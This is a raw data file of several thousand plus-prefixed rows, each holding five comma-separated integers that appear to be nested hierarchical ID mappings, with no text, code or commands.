+8161,7639,7720,7883,8161 +8162,7639,7720,7883,8162 +8163,7639,7720,7883,8163 +8164,7639,7720,7883,8164 +8165,7639,7720,7883,8165 +8166,7639,7720,7883,8166 +8167,7639,7720,7883,8167 +8168,7639,7720,7890,8168 +8169,7639,7720,7890,8169 +8170,7639,7720,7890,8170 +8171,7639,7720,7890,8171 +8293,8172,8175,8184,8293 +8294,8172,8175,8184,8294 +8295,8172,8175,8184,8295 +8296,8172,8175,8184,8296 +8297,8172,8175,8185,8297 +8298,8172,8175,8185,8298 +8299,8172,8175,8185,8299 +8300,8172,8175,8185,8300 +8301,8172,8175,8185,8301 +8302,8172,8175,8185,8302 +8303,8172,8176,8186,8303 +8304,8172,8176,8186,8304 +8305,8172,8176,8186,8305 +8306,8172,8176,8186,8306 +8307,8172,8176,8186,8307 +8308,8172,8176,8186,8308 +8309,8172,8176,8186,8309 +8310,8172,8176,8186,8310 +8311,8172,8176,8186,8311 +8312,8172,8176,8186,8312 +8313,8172,8176,8186,8313 +8314,8172,8176,8186,8314 +8315,8172,8176,8186,8315 +8316,8172,8176,8186,8316 +8317,8172,8176,8186,8317 +8318,8172,8176,8186,8318 +8319,8172,8176,8186,8319 +8320,8172,8176,8186,8320 +8321,8172,8176,8189,8321 +8322,8172,8176,8189,8322 +8323,8172,8176,8189,8323 +8324,8172,8176,8189,8324 +8325,8172,8176,8189,8325 +8326,8172,8176,8189,8326 +8327,8172,8176,8189,8327 +8328,8172,8176,8189,8328 +8329,8172,8176,8189,8329 +8330,8172,8176,8189,8330 +8331,8172,8176,8189,8331 +8332,8172,8176,8189,8332 +8333,8172,8176,8189,8333 +8334,8172,8176,8189,8334 +8335,8172,8176,8189,8335 +8336,8172,8176,8192,8336 +8337,8172,8176,8192,8337 +8338,8172,8176,8192,8338 +8339,8172,8176,8192,8339 +8340,8172,8176,8192,8340 +8341,8172,8176,8192,8341 +8342,8172,8176,8193,8342 +8343,8172,8176,8193,8343 +8344,8172,8176,8193,8344 +8345,8172,8176,8195,8345 +8346,8172,8176,8195,8346 +8347,8172,8176,8195,8347 +8348,8172,8176,8195,8348 +8349,8172,8176,8195,8349 +8350,8172,8176,8195,8350 +8351,8172,8176,8196,8351 +8353,8172,8176,8196,8353 +8354,8172,8176,8196,8354 +8355,8172,8176,8196,8355 +8356,8172,8176,8196,8356 +8357,8172,8176,8196,8357 +8358,8172,8176,8196,8358 +8359,8172,8176,8196,8359 +8360,8172,8176,8196,8360 +8361,8172,8176,8196,8361 +8362,8172,8176,8196,8362 +8363,8172,8176,8196,8363 +8364,8172,8176,8196,8364 +8367,8172,8176,8197,8367 +8368,8172,8176,8197,8368 +8369,8172,8176,8197,8369 +8370,8172,8176,8197,8370 +8371,8172,8176,8197,8371 +8372,8172,8176,8197,8372 +8373,8172,8176,8198,8373 +8374,8172,8176,8198,8374 +8375,8172,8176,8198,8375 +8376,8172,8176,8199,8376 +8377,8172,8176,8199,8377 +8365,8172,8176,8292,8365 +8366,8172,8176,8292,8366 +20205,8172,8176,20204,20205 +20206,8172,8176,20204,20206 +20208,8172,8176,20207,20208 +8378,8172,8177,8201,8378 +8379,8172,8177,8201,8379 +8380,8172,8177,8202,8380 +8381,8172,8177,8202,8381 +8382,8172,8177,8202,8382 +8383,8172,8177,8202,8383 +8384,8172,8177,8202,8384 +8385,8172,8177,8202,8385 +8386,8172,8177,8202,8386 +8387,8172,8177,8203,8387 +8388,8172,8177,8203,8388 +8389,8172,8177,8203,8389 +8390,8172,8177,8203,8390 +8391,8172,8177,8203,8391 +8392,8172,8177,8203,8392 +8393,8172,8177,8203,8393 +8394,8172,8177,8203,8394 +8395,8172,8177,8203,8395 +8396,8172,8177,8206,8396 +8397,8172,8177,8206,8397 +8398,8172,8177,8207,8398 +8399,8172,8177,8207,8399 +8400,8172,8177,8207,8400 +8401,8172,8177,8207,8401 +8402,8172,8177,8207,8402 +8403,8172,8177,8207,8403 +8404,8172,8177,8207,8404 +8405,8172,8177,8208,8405 +8406,8172,8177,8208,8406 +8407,8172,8177,8208,8407 +8408,8172,8177,8208,8408 +8409,8172,8178,8209,8409 +8410,8172,8178,8209,8410 +8411,8172,8178,8209,8411 +8412,8172,8178,8209,8412 +8413,8172,8178,8209,8413 +8414,8172,8178,8209,8414 +8415,8172,8178,8209,8415 +8416,8172,8183,8289,8416 +8417,8172,8183,8289,8417 +8418,8172,8183,8289,8418 +8419,8172,8183,8289,8419 +8420,8172,8183,8289,8420 +8421,8172,8183,8289,8421 +8422,8172,8183,8289,8422 +8423,8172,8183,8289,8423 +8424,8172,8183,8291,8424 +8425,8172,8183,8291,8425 +8426,8172,8183,8291,8426 +8427,8172,8183,8291,8427 +8499,8439,8458,8487,8499 +8500,8439,8458,8487,8500 +8501,8439,8458,8487,8501 +8507,8439,8458,8487,8507 +9206,8721,8743,8905,9206 +9207,8721,8743,8905,9207 +9208,8721,8743,8905,9208 +9209,8721,8743,8905,9209 +9210,8721,8743,8905,9210 +9211,8721,8743,8905,9211 +9212,8721,8743,8905,9212 +9213,8721,8743,8905,9213 +9214,8721,8743,8905,9214 +9215,8721,8743,8905,9215 +9216,8721,8743,8905,9216 +9217,8721,8743,8905,9217 +9218,8721,8743,8905,9218 +9219,8721,8743,8905,9219 +9220,8721,8743,8905,9220 +9221,8721,8743,8905,9221 +9222,8721,8743,8905,9222 +9223,8721,8743,8905,9223 +9224,8721,8743,8905,9224 +9225,8721,8743,8905,9225 +9226,8721,8743,8905,9226 +9227,8721,8743,8905,9227 +9228,8721,8743,8905,9228 +9229,8721,8743,8905,9229 +9230,8721,8743,8905,9230 +9231,8721,8743,8905,9231 +9232,8721,8743,8905,9232 +9233,8721,8743,8905,9233 +9234,8721,8743,8905,9234 +9235,8721,8743,8905,9235 +9236,8721,8743,8905,9236 +9237,8721,8743,8905,9237 +9238,8721,8743,8905,9238 +9239,8721,8743,8905,9239 +9240,8721,8743,8905,9240 +9241,8721,8743,8906,9241 +9242,8721,8743,8906,9242 +9243,8721,8743,8906,9243 +9244,8721,8743,8906,9244 +9245,8721,8743,8906,9245 +9246,8721,8743,8906,9246 +9247,8721,8743,8906,9247 +9248,8721,8743,8906,9248 +9249,8721,8743,8906,9249 +9250,8721,8743,8906,9250 +9251,8721,8743,8906,9251 +9252,8721,8743,8906,9252 +9253,8721,8743,8906,9253 +9254,8721,8743,8906,9254 +9255,8721,8743,8906,9255 +9256,8721,8743,8906,9256 +9257,8721,8743,8906,9257 +9258,8721,8743,8906,9258 +9259,8721,8743,8906,9259 +9260,8721,8743,8906,9260 +9261,8721,8743,8906,9261 +9262,8721,8743,8906,9262 +9263,8721,8743,8906,9263 +9264,8721,8743,8906,9264 +9265,8721,8743,8906,9265 +9266,8721,8743,8906,9266 +9267,8721,8743,8906,9267 +9268,8721,8743,8906,9268 +9269,8721,8743,8906,9269 +9270,8721,8743,8906,9270 +9271,8721,8743,8906,9271 +9272,8721,8743,8906,9272 +9273,8721,8743,8906,9273 +9274,8721,8743,8907,9274 +9275,8721,8743,8907,9275 +9276,8721,8743,8907,9276 +9277,8721,8745,8910,9277 +9278,8721,8745,8910,9278 +9279,8721,8745,8910,9279 +9280,8721,8745,8910,9280 +9281,8721,8745,8910,9281 +9282,8721,8745,8910,9282 +9283,8721,8745,8910,9283 +9284,8721,8745,8910,9284 +9285,8721,8745,8910,9285 +9286,8721,8745,8910,9286 +9287,8721,8745,8910,9287 +9288,8721,8745,8911,9288 +9289,8721,8745,8911,9289 +9290,8721,8745,8911,9290 +9291,8721,8745,8911,9291 +9292,8721,8745,8911,9292 +9293,8721,8745,8911,9293 +9294,8721,8745,8911,9294 +9295,8721,8745,8911,9295 +9296,8721,8745,8911,9296 +9297,8721,8745,8911,9297 +9298,8721,8745,8914,9298 +9299,8721,8745,8914,9299 +9300,8724,8770,9008,9300 +9301,8724,8770,9008,9301 +9302,8724,8770,9009,9302 +9303,8724,8770,9009,9303 +9304,8724,8770,9009,9304 +9305,8724,8770,9009,9305 +9306,8724,8770,9009,9306 +9307,8724,8770,9009,9307 +9308,8724,8770,9009,9308 +9309,8724,8770,9009,9309 +9310,8724,8770,9009,9310 +9311,8724,8770,9009,9311 +9312,8726,8790,9084,9312 +10623,9314,9354,9588,10623 +10624,9314,9354,9588,10624 +10625,9314,9354,9588,10625 +10626,9314,9354,9588,10626 +10627,9314,9355,9594,10627 +10628,9314,9355,9594,10628 +10629,9314,9355,9594,10629 +10630,9314,9355,9594,10630 +10631,9314,9355,9594,10631 +10632,9314,9355,9594,10632 +10633,9314,9355,9594,10633 +10634,9314,9355,9594,10634 +10635,9314,9355,9597,10635 +10636,9314,9355,9597,10636 +10637,9314,9355,9605,10637 +10638,9314,9355,9605,10638 +10639,9314,9360,9640,10639 +10640,9314,9360,9640,10640 +10641,9314,9360,9640,10641 +10642,9314,9360,9641,10642 +10643,9314,9360,9641,10643 +10644,9314,9360,9641,10644 +10645,9314,9360,9641,10645 +10646,9314,9360,9641,10646 +10647,9314,9360,9642,10647 +10648,9314,9360,9642,10648 +10649,9314,9360,9642,10649 +10650,9314,9360,9642,10650 +10651,9314,9360,9643,10651 +10652,9314,9360,9643,10652 +10653,9314,9360,9643,10653 +10654,9314,9360,9643,10654 +10655,9314,9360,9643,10655 +10656,9314,9360,9643,10656 +10657,9314,9360,9643,10657 +10658,9314,9360,9643,10658 +10659,9314,9360,9643,10659 +10660,9314,9360,9645,10660 +10661,9314,9360,9645,10661 +10662,9314,9360,9645,10662 +10663,9314,9361,9652,10663 +10664,9314,9361,9652,10664 +10665,9314,9361,9652,10665 +10666,9314,9361,9652,10666 +10667,9315,9370,9686,10667 +10668,9315,9370,9686,10668 +10669,9315,9370,9687,10669 +10670,9315,9370,9687,10670 +10671,9315,9370,9687,10671 +10672,9315,9370,9687,10672 +10673,9315,9370,9687,10673 +10674,9315,9370,9687,10674 +10675,9315,9370,9687,10675 +10676,9315,9370,9688,10676 +10677,9315,9370,9688,10677 +10678,9315,9370,9688,10678 +10679,9315,9370,9688,10679 +10680,9315,9370,9688,10680 +10681,9315,9370,9688,10681 +10682,9315,9370,9688,10682 +10683,9315,9370,9689,10683 +10684,9315,9370,9689,10684 +10685,9315,9370,9689,10685 +10686,9315,9370,9689,10686 +10687,9315,9370,9689,10687 +10688,9315,9370,9689,10688 +10689,9315,9370,9689,10689 +10690,9315,9370,9689,10690 +10691,9315,9370,9689,10691 +10692,9315,9370,9689,10692 +10693,9315,9370,9689,10693 +10694,9315,9370,9689,10694 +10695,9315,9370,9689,10695 +10696,9315,9370,9689,10696 +10697,9315,9370,9689,10697 +10698,9315,9370,9689,10698 +10699,9315,9370,9689,10699 +10700,9315,9370,9689,10700 +10701,9315,9370,9689,10701 +10702,9315,9370,9689,10702 +10703,9315,9370,9689,10703 +10704,9315,9370,9689,10704 +10705,9315,9370,9689,10705 +10706,9315,9370,9689,10706 +10707,9315,9370,9689,10707 +10708,9315,9370,9689,10708 +10709,9315,9370,9689,10709 +10710,9315,9370,9689,10710 +10711,9315,9370,9690,10711 +10712,9315,9370,9690,10712 +10713,9315,9370,9691,10713 +10714,9315,9370,9691,10714 +10715,9315,9370,9691,10715 +10716,9315,9370,9691,10716 +10717,9315,9370,9691,10717 +10718,9315,9370,9691,10718 +10719,9315,9370,9691,10719 +10720,9315,9370,9691,10720 +10721,9315,9370,9691,10721 +10722,9315,9370,9691,10722 +10723,9315,9370,9691,10723 +10724,9315,9370,9691,10724 +10725,9315,9370,9691,10725 +10726,9315,9370,9691,10726 +10727,9315,9370,9692,10727 +10728,9315,9370,9692,10728 +10729,9315,9370,9692,10729 +10730,9315,9370,9692,10730 +10731,9315,9370,9692,10731 +10732,9315,9370,9692,10732 +10733,9315,9370,9692,10733 +10735,9315,9370,9692,10735 +10736,9315,9370,9692,10736 +10737,9315,9370,9692,10737 +10738,9315,9370,9692,10738 +10739,9315,9370,9693,10739 +10740,9315,9370,9693,10740 +10741,9315,9370,9693,10741 +10742,9315,9370,9693,10742 +10743,9315,9370,9693,10743 +10744,9315,9370,9693,10744 +10745,9315,9370,9693,10745 +10746,9315,9370,9693,10746 +10747,9315,9370,9694,10747 +10748,9315,9370,9694,10748 +10749,9315,9370,9694,10749 +10750,9315,9370,9694,10750 +10751,9315,9370,9694,10751 +10752,9315,9370,9694,10752 +10753,9315,9370,9694,10753 +18242,9315,9373,9701,18242 +18244,9315,9373,9702,18244 +18245,9315,9373,9702,18245 +18246,9315,9373,9702,18246 +18247,9315,9373,9702,18247 +18249,9315,9373,9702,18249 +18250,9315,9373,9702,18250 +18251,9315,9373,9702,18251 +18252,9315,9373,9702,18252 +18253,9315,9373,9702,18253 +18254,9315,9373,9703,18254 +18257,9315,9373,9703,18257 +18259,9315,9373,9703,18259 +18261,9315,9373,9704,18261 +18262,9315,9373,9704,18262 +10754,9315,9380,9726,10754 +10755,9315,9380,9726,10755 +10756,9315,9380,9726,10756 +10757,9315,9380,9726,10757 +10758,9315,9380,9726,10758 +10759,9315,9380,9726,10759 +10760,9315,9380,9726,10760 +10761,9315,9380,9726,10761 +10762,9315,9387,9756,10762 +10763,9315,9387,9756,10763 +10764,9315,9387,9757,10764 +10765,9315,9387,9757,10765 +10766,9315,9387,9757,10766 +10767,9315,9387,9759,10767 +10769,9315,9387,9759,10769 +10771,9315,9387,9759,10771 +10772,9315,9387,9759,10772 +10773,9315,9387,9759,10773 +10774,9315,9387,9759,10774 +10775,9315,9387,9759,10775 +10776,9315,9387,9759,10776 +19565,9315,9387,9759,19565 +19561,9315,19553,19560,19561 +19562,9315,19553,19560,19562 +19563,9315,19553,19560,19563 +10777,9316,9397,9795,10777 +10778,9316,9397,9795,10778 +10779,9316,9397,9795,10779 +10780,9316,9397,9795,10780 +10781,9316,9397,9795,10781 +10782,9316,9397,9795,10782 +10783,9316,9397,9795,10783 +10784,9317,9411,9851,10784 +10785,9317,9411,9851,10785 +10786,9317,9411,9851,10786 +20440,9317,9411,9851,20440 +10787,9317,9411,9857,10787 +10788,9317,9411,9858,10788 +10789,9317,9411,9858,10789 +20443,9317,9411,20442,20443 +20444,9317,9411,20442,20444 +20445,9317,9411,20442,20445 +20490,9317,9411,20489,20490 +20491,9317,9411,20489,20491 +10790,9317,9412,9864,10790 +10791,9317,9412,9864,10791 +10792,9317,9412,9864,10792 +10793,9317,9412,9867,10793 +10794,9317,9412,9867,10794 +10795,9318,9414,9872,10795 +10796,9318,9414,9872,10796 +10797,9318,9414,9872,10797 +10798,9318,9414,9872,10798 +10799,9318,9414,9872,10799 +10800,9318,9414,9872,10800 +15537,9318,9414,9873,15537 +15538,9318,9414,9873,15538 +10801,9318,9414,9874,10801 +10802,9318,9414,9874,10802 +10803,9318,9414,9879,10803 +10804,9318,9414,9879,10804 +10805,9318,9414,9879,10805 +10806,9318,9414,9879,10806 +10807,9318,9415,9882,10807 +10808,9318,9415,9882,10808 +10809,9318,9415,9882,10809 +10810,9318,9415,9882,10810 +10811,9318,9415,9882,10811 +10812,9318,9415,9882,10812 +10813,9318,9416,9891,10813 +10814,9318,9416,9891,10814 +10815,9318,9416,9891,10815 +10816,9318,9416,9891,10816 +10817,9318,9416,9891,10817 +10818,9318,9416,9892,10818 +10819,9318,9416,9892,10819 +10820,9318,9416,9892,10820 +10821,9318,9417,9894,10821 +10822,9318,9417,9894,10822 +10823,9318,9417,9894,10823 +10824,9318,9417,9894,10824 +10825,9318,9417,9894,10825 +10826,9318,9417,9894,10826 +10827,9318,9417,9894,10827 +10828,9318,9420,9907,10828 +10829,9318,9420,9907,10829 +10830,9318,9420,9912,10830 +10831,9318,9420,9912,10831 +10832,9318,9420,9913,10832 +10833,9318,9420,9913,10833 +10834,9318,9420,9913,10834 +10835,9318,9420,9913,10835 +10836,9318,9420,9915,10836 +10837,9318,9420,9915,10837 +10838,9318,9420,9915,10838 +10839,9318,9420,9915,10839 +10840,9318,9420,9915,10840 +19549,9318,9420,9915,19549 +10842,9318,9420,9916,10842 +10844,9318,9420,9916,10844 +10845,9318,9420,9916,10845 +10846,9318,9420,9916,10846 +10847,9318,9420,9916,10847 +10848,9318,9420,9917,10848 +10849,9318,9420,9917,10849 +10850,9318,9420,9917,10850 +10851,9318,9420,9917,10851 +10852,9318,9420,9917,10852 +10853,9318,9420,9919,10853 +10854,9318,9420,9919,10854 +10855,9318,9420,9919,10855 +10856,9318,9420,9919,10856 +10857,9318,9420,9919,10857 +10858,9318,9420,9919,10858 +10859,9318,9420,9919,10859 +10860,9318,9420,9919,10860 +10861,9318,9420,9919,10861 +10862,9318,9420,9919,10862 +10863,9318,9420,9919,10863 +10864,9318,9420,9919,10864 +10865,9318,9420,9919,10865 +10866,9318,9420,9919,10866 +10867,9318,9420,9919,10867 +10868,9318,9420,9919,10868 +10869,9318,9420,9919,10869 +10870,9318,9420,9920,10870 +10871,9318,9420,9920,10871 +10872,9318,9420,9920,10872 +10873,9318,9420,9920,10873 +10874,9318,9420,9920,10874 +10875,9318,9420,9920,10875 +10876,9318,9420,9920,10876 +10877,9318,9420,9920,10877 +10878,9318,9420,9921,10878 +10879,9318,9420,9921,10879 +10880,9318,9420,9921,10880 +10881,9318,9420,9921,10881 +10882,9318,9420,9922,10882 +10883,9318,9420,9922,10883 +10884,9318,9420,9922,10884 +10885,9318,9420,9923,10885 +10886,9318,9420,9923,10886 +10887,9318,9420,9923,10887 +10888,9318,9420,9924,10888 +10889,9318,9420,9924,10889 +19544,9318,9420,19543,19544 +19545,9318,9420,19543,19545 +19546,9318,9420,19543,19546 +19547,9318,9420,19543,19547 +19548,9318,9420,19543,19548 +14663,9318,14650,14652,14663 +14664,9318,14650,14652,14664 +14665,9318,14650,14652,14665 +14666,9318,14650,14652,14666 +14667,9318,14650,14652,14667 +14668,9318,14650,14652,14668 +14669,9318,14650,14652,14669 +14670,9318,14650,14657,14670 +14671,9318,14650,14657,14671 +14672,9318,14650,14657,14672 +14673,9318,14650,14657,14673 +14674,9318,14651,14659,14674 +14675,9318,14651,14659,14675 +14676,9318,14651,14659,14676 +14677,9318,14651,14659,14677 +14678,9318,14651,14659,14678 +14679,9318,14651,14659,14679 +20446,9318,14651,14659,20446 +14680,9318,14651,14662,14680 +14681,9318,14651,14662,14681 +14682,9318,14651,14662,14682 +14683,9318,14651,14662,14683 +10890,9319,9423,9942,10890 +10891,9319,9423,9942,10891 +10892,9319,9423,9942,10892 +10893,9319,9423,9942,10893 +10894,9319,9423,9942,10894 +10895,9319,9423,9942,10895 +10896,9319,9423,9942,10896 +10897,9319,9423,9942,10897 +10898,9319,9423,9942,10898 +10899,9319,9423,9942,10899 +10900,9319,9423,9942,10900 +10901,9319,9423,9942,10901 +10902,9319,9423,9942,10902 +20481,9319,9428,20480,20481 +20482,9319,9428,20480,20482 +20483,9319,9428,20480,20483 +20484,9319,9428,20480,20484 +20485,9319,9428,20480,20485 +20486,9319,9428,20480,20486 +20487,9319,9428,20480,20487 +20488,9319,9428,20480,20488 +10903,9319,9433,9991,10903 +10904,9319,9433,9991,10904 +10905,9319,9433,9991,10905 +10906,9319,9433,9991,10906 +10907,9319,9433,9991,10907 +10908,9319,9433,9991,10908 +10909,9319,9433,9991,10909 +10910,9319,9433,9991,10910 +10911,9319,9433,9991,10911 +10912,9319,9433,9991,10912 +10913,9319,9433,9991,10913 +10914,9319,9433,9992,10914 +10915,9319,9433,9992,10915 +10916,9319,9433,9992,10916 +10917,9319,9433,9992,10917 +10918,9319,9433,9992,10918 +10919,9319,9433,9992,10919 +10920,9319,9433,9992,10920 +10921,9319,9433,9992,10921 +10933,9320,9437,10016,10933 +10934,9320,9437,10016,10934 +10935,9320,9437,10016,10935 +10936,9320,9437,10016,10936 +10937,9320,9437,10016,10937 +10938,9320,9437,10016,10938 +10939,9320,9437,10016,10939 +10940,9320,9437,10017,10940 +10941,9320,9437,10017,10941 +10942,9320,9437,10017,10942 +10943,9320,9437,10017,10943 +10944,9320,9437,10017,10944 +10945,9320,9437,10017,10945 +10946,9320,9437,10017,10946 +10947,9320,9437,10017,10947 +10948,9320,9437,10017,10948 +10959,9320,9445,10055,10959 +10960,9320,9445,10055,10960 +10961,9320,9445,10055,10961 +10962,9320,9445,10055,10962 +10963,9320,9445,10055,10963 +10964,9320,9445,10055,10964 +10965,9320,9445,10055,10965 +10966,9320,9445,10055,10966 +10967,9320,9445,10055,10967 +10968,9320,9445,10055,10968 +10969,9320,9448,10085,10969 +10970,9320,9448,10085,10970 +10971,9320,9448,10085,10971 +10972,9321,9450,10088,10972 +10973,9321,9450,10088,10973 +10974,9321,9450,10088,10974 +10975,9321,9450,10088,10975 +10976,9321,9450,10088,10976 +10977,9321,9450,10089,10977 +10978,9321,9450,10089,10978 +10979,9321,9450,10089,10979 +10980,9321,9450,10089,10980 +10981,9321,9450,10089,10981 +10982,9321,9450,10089,10982 +10983,9321,9450,10089,10983 +10984,9321,9450,10089,10984 +10985,9321,9450,10090,10985 +10986,9321,9450,10090,10986 +10987,9321,9450,10090,10987 +10988,9321,9450,10090,10988 +10989,9321,9450,10090,10989 +10990,9321,9450,10090,10990 +10991,9321,9450,10090,10991 +10992,9321,9450,10090,10992 +10993,9321,9450,10090,10993 +10994,9321,9450,10090,10994 +10995,9321,9450,10093,10995 +10996,9321,9450,10093,10996 +10997,9321,9450,10093,10997 +10998,9321,9450,10093,10998 +10999,9321,9450,10093,10999 +11000,9321,9450,10094,11000 +11001,9321,9450,10094,11001 +11002,9321,9450,10094,11002 +11003,9321,9450,10096,11003 +11004,9321,9450,10096,11004 +11005,9321,9454,10118,11005 +11006,9321,9454,10118,11006 +11007,9321,9454,10118,11007 +11008,9321,9454,10118,11008 +11009,9321,9454,10118,11009 +11010,9321,9454,10118,11010 +11011,9321,9454,10118,11011 +11012,9321,9454,10118,11012 +11013,9321,9454,10118,11013 +11014,9321,9454,10118,11014 +11015,9321,9454,10118,11015 +11016,9321,9454,10119,11016 +11017,9321,9454,10119,11017 +11018,9321,9454,10119,11018 +11019,9321,9454,10119,11019 +11020,9321,9454,10119,11020 +11021,9321,9454,10119,11021 +11022,9321,9454,10120,11022 +11023,9321,9454,10120,11023 +11024,9321,9454,10120,11024 +11025,9321,9454,10120,11025 +11026,9321,9454,10120,11026 +11027,9321,9454,10121,11027 +11028,9321,9454,10121,11028 +11029,9321,9454,10121,11029 +11030,9321,9454,10121,11030 +11031,9321,9454,10121,11031 +11032,9321,9454,10121,11032 +11033,9321,9454,10121,11033 +11034,9321,9454,10121,11034 +11035,9321,9454,10121,11035 +11036,9321,9454,10121,11036 +11037,9321,9454,10121,11037 +11038,9321,9454,10121,11038 +11039,9321,9454,10121,11039 +11040,9322,9465,10185,11040 +11041,9322,9465,10185,11041 +11042,9322,9465,10185,11042 +11043,9322,9465,10185,11043 +11044,9322,9468,10218,11044 +11045,9322,9468,10218,11045 +11046,9322,9468,10218,11046 +11047,9322,9468,10218,11047 +11048,9322,9468,10222,11048 +11049,9322,9468,10222,11049 +11050,9322,9468,10222,11050 +11051,9322,9468,10222,11051 +11052,9322,9468,10222,11052 +11053,9322,9468,10222,11053 +11054,9322,9468,10222,11054 +11055,9322,9468,10249,11055 +11056,9322,9468,10249,11056 +11057,9322,9468,10249,11057 +11058,9322,9468,10249,11058 +11059,9322,9468,10249,11059 +11060,9322,9468,10249,11060 +11061,9322,9468,10249,11061 +11062,9322,9468,10249,11062 +11063,9322,9468,10250,11063 +11064,9322,9468,10250,11064 +11065,9322,9468,10250,11065 +11066,9322,9468,10250,11066 +11067,9322,9468,10250,11067 +11068,9322,9468,10250,11068 +11069,9322,9468,10250,11069 +11070,9322,9468,10250,11070 +11071,9322,9468,10250,11071 +11072,9322,9468,10270,11072 +11073,9322,9468,10270,11073 +11074,9322,9468,10270,11074 +11075,9322,9468,10270,11075 +11076,9322,9468,10270,11076 +11077,9322,9469,10272,11077 +11078,9322,9469,10272,11078 +11079,9322,9469,10272,11079 +11080,9323,9471,10281,11080 +11081,9323,9471,10281,11081 +11082,9323,9471,10281,11082 +11083,9323,9471,10281,11083 +11084,9323,9471,10281,11084 +11085,9323,9471,10287,11085 +11086,9323,9471,10287,11086 +11087,9323,9471,10287,11087 +11088,9323,9471,10287,11088 +11089,9323,9471,10287,11089 +11090,9323,9471,10287,11090 +11091,9323,9472,10307,11091 +11092,9323,9472,10307,11092 +11093,9323,9472,10308,11093 +11094,9323,9472,10308,11094 +11095,9323,9472,10309,11095 +11096,9323,9472,10309,11096 +11097,9323,9472,10309,11097 +11098,9323,9472,10309,11098 +11099,9323,9472,10309,11099 +11100,9323,9472,10309,11100 +11101,9323,9472,10309,11101 +11102,9323,9472,10309,11102 +11103,9323,9472,10309,11103 +11104,9323,9472,10309,11104 +11105,9323,9472,10309,11105 +11106,9323,9472,10309,11106 +11107,9323,9472,10309,11107 +11108,9323,9472,10309,11108 +11109,9323,9472,10309,11109 +11110,9323,9472,10310,11110 +11111,9323,9472,10310,11111 +11112,9323,9472,10310,11112 +11113,9323,9472,10310,11113 +11114,9323,9472,10311,11114 +11115,9323,9472,10311,11115 +11116,9323,9472,10311,11116 +11117,9323,9472,10311,11117 +11118,9323,9472,10311,11118 +11119,9323,9472,10311,11119 +11120,9323,9472,10311,11120 +11121,9323,9472,10311,11121 +11122,9323,9472,10311,11122 +11123,9323,9472,10311,11123 +11124,9323,9472,10311,11124 +11125,9323,9472,10311,11125 +11126,9323,9472,10311,11126 +11127,9323,9472,10311,11127 +11128,9323,9472,10311,11128 +11129,9323,9472,10311,11129 +11130,9323,9472,10311,11130 +11131,9323,9472,10311,11131 +11132,9323,9472,10311,11132 +11133,9323,9472,10313,11133 +11134,9323,9472,10313,11134 +11135,9323,9472,10314,11135 +11136,9323,9472,10314,11136 +11137,9323,9472,10314,11137 +11138,9323,9472,10314,11138 +11139,9323,9472,10314,11139 +11140,9323,9472,10315,11140 +11141,9323,9472,10315,11141 +11142,9323,9472,10316,11142 +11143,9323,9472,10316,11143 +11144,9323,9472,10316,11144 +11145,9323,9472,10316,11145 +11146,9323,9472,10316,11146 +11147,9323,9472,10316,11147 +11148,9323,9472,10317,11148 +11149,9323,9472,10317,11149 +11150,9323,9472,10317,11150 +11151,9323,9472,10318,11151 +11152,9323,9472,10318,11152 +11153,9323,9472,10318,11153 +11154,9323,9472,10318,11154 +11155,9323,9472,10318,11155 +11156,9323,9472,10319,11156 +11157,9323,9472,10319,11157 +11158,9323,9472,10319,11158 +11159,9323,9472,10319,11159 +11160,9323,9472,10320,11160 +11161,9323,9472,10320,11161 +11162,9323,9472,10321,11162 +11163,9323,9472,10321,11163 +11164,9323,9472,10321,11164 +11165,9323,9472,10322,11165 +11166,9323,9472,10322,11166 +11167,9323,9472,10322,11167 +11168,9323,9472,10322,11168 +11169,9323,9472,10323,11169 +11170,9323,9472,10324,11170 +11171,9323,9472,10324,11171 +11172,9323,9474,10331,11172 +11173,9323,9474,10331,11173 +11174,9323,9474,10331,11174 +11175,9323,9474,10331,11175 +11176,9323,9474,10331,11176 +19569,9323,9474,10331,19569 +11177,9323,9474,10332,11177 +11178,9323,9474,10332,11178 +11179,9323,9474,10332,11179 +11180,9323,9474,10332,11180 +11181,9323,9474,10332,11181 +11182,9323,9474,10336,11182 +11183,9323,9474,10336,11183 +11184,9323,9474,10336,11184 +11185,9323,9474,10336,11185 +11186,9323,9474,10336,11186 +11187,9323,9474,10336,11187 +11188,9323,9474,10336,11188 +11189,9323,9474,10336,11189 +11190,9323,9474,10336,11190 +11191,9323,9474,10336,11191 +11192,9323,9474,10336,11192 +11193,9323,9474,10336,11193 +11194,9323,9474,10336,11194 +11195,9323,9474,10336,11195 +19570,9323,9474,10336,19570 +11196,9323,9474,10337,11196 +11197,9323,9474,10337,11197 +11198,9323,9474,10337,11198 +11199,9323,9474,10337,11199 +11200,9323,9474,10337,11200 +11201,9323,9474,10337,11201 +11202,9323,9474,10337,11202 +11203,9323,9474,10337,11203 +11204,9323,9474,10337,11204 +11205,9323,9474,10338,11205 +11206,9323,9474,10338,11206 +11207,9323,9474,10338,11207 +11208,9323,9474,10338,11208 +11209,9323,9474,10338,11209 +11210,9323,9474,10338,11210 +11211,9323,9474,10338,11211 +11212,9323,9474,10338,11212 +11213,9323,9474,10338,11213 +11214,9323,9474,10338,11214 +11215,9323,9474,10338,11215 +11216,9323,9474,10338,11216 +11217,9323,9474,10338,11217 +11218,9323,9474,10338,11218 +11219,9323,9474,10338,11219 +11220,9323,9474,10338,11220 +11221,9323,9474,10338,11221 +11222,9323,9474,10338,11222 +11223,9323,9474,10338,11223 +11224,9323,9474,10338,11224 +19116,9323,9474,10338,19116 +19117,9323,9474,10338,19117 +11225,9323,9474,10339,11225 +11226,9323,9474,10339,11226 +11227,9323,9474,10339,11227 +11228,9323,9475,10343,11228 +11229,9323,9475,10343,11229 +11230,9323,9475,10343,11230 +11231,9323,9475,10343,11231 +11232,9323,9475,10343,11232 +11233,9323,9475,10343,11233 +11234,9323,9475,10343,11234 +11235,9323,9475,10343,11235 +11236,9323,9475,10347,11236 +11237,9323,9475,10347,11237 +11238,9323,9475,10347,11238 +11239,9323,9475,10347,11239 +11240,9323,9475,10347,11240 +11241,9323,9475,10347,11241 +11242,9323,9475,10347,11242 +11243,9323,9475,10353,11243 +11244,9323,9475,10353,11244 +11245,9323,9475,10353,11245 +11246,9323,9475,10353,11246 +11247,9323,9475,10353,11247 +11248,9323,9475,10353,11248 +11249,9323,9475,10353,11249 +11250,9323,9475,10353,11250 +11251,9323,9475,10353,11251 +11252,9323,9475,10353,11252 +11253,9323,9475,10353,11253 +11254,9323,9475,10353,11254 +11255,9323,9475,10353,11255 +11256,9323,9475,10353,11256 +11257,9323,9475,10363,11257 +11258,9323,9475,10363,11258 +11259,9323,9475,10363,11259 